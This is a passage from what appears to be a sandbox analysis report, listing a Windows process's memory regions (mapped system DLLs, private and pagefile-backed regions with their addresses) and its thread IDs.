"c:\\windows\\system32\\lpk.dll") Region: id = 8128 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8129 start_va = 0x7fefe750000 end_va = 0x7fefe826fff monitored = 0 entry_point = 0x7fefe753274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8130 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8131 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8132 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8133 start_va = 0x7fefecf0000 end_va = 0x7fefed3cfff monitored = 0 entry_point = 0x7fefecf1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8134 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8135 start_va = 0x7fefeec0000 end_va = 0x7fefeec7fff monitored = 0 entry_point = 0x7fefeec1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8136 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 8137 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 8138 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 8139 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 8140 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 8141 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 8142 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 8143 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 8144 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 8145 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 8146 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 8147 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 8148 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 8149 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8150 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8151 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8152 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8153 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 8164 start_va = 0x350000 end_va = 0x35bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Thread: id = 411 os_tid = 0x7d4 Thread: id = 412 os_tid = 0x740 Thread: id = 413 os_tid = 0x30c Thread: id = 414 os_tid = 0x29c Thread: id = 415 os_tid = 0x298 Thread: id = 416 os_tid = 0x294 Thread: id = 417 os_tid = 0x270 Thread: id = 418 os_tid = 0x26c Thread: id = 419 os_tid = 0x268 Thread: id = 420 os_tid = 0x264 Thread: id = 421 os_tid = 0x260 Thread: id = 422 os_tid = 0x254 Thread: id = 423 os_tid = 0x24c Thread: id = 424 os_tid = 0x248 Thread: id = 425 os_tid = 0x240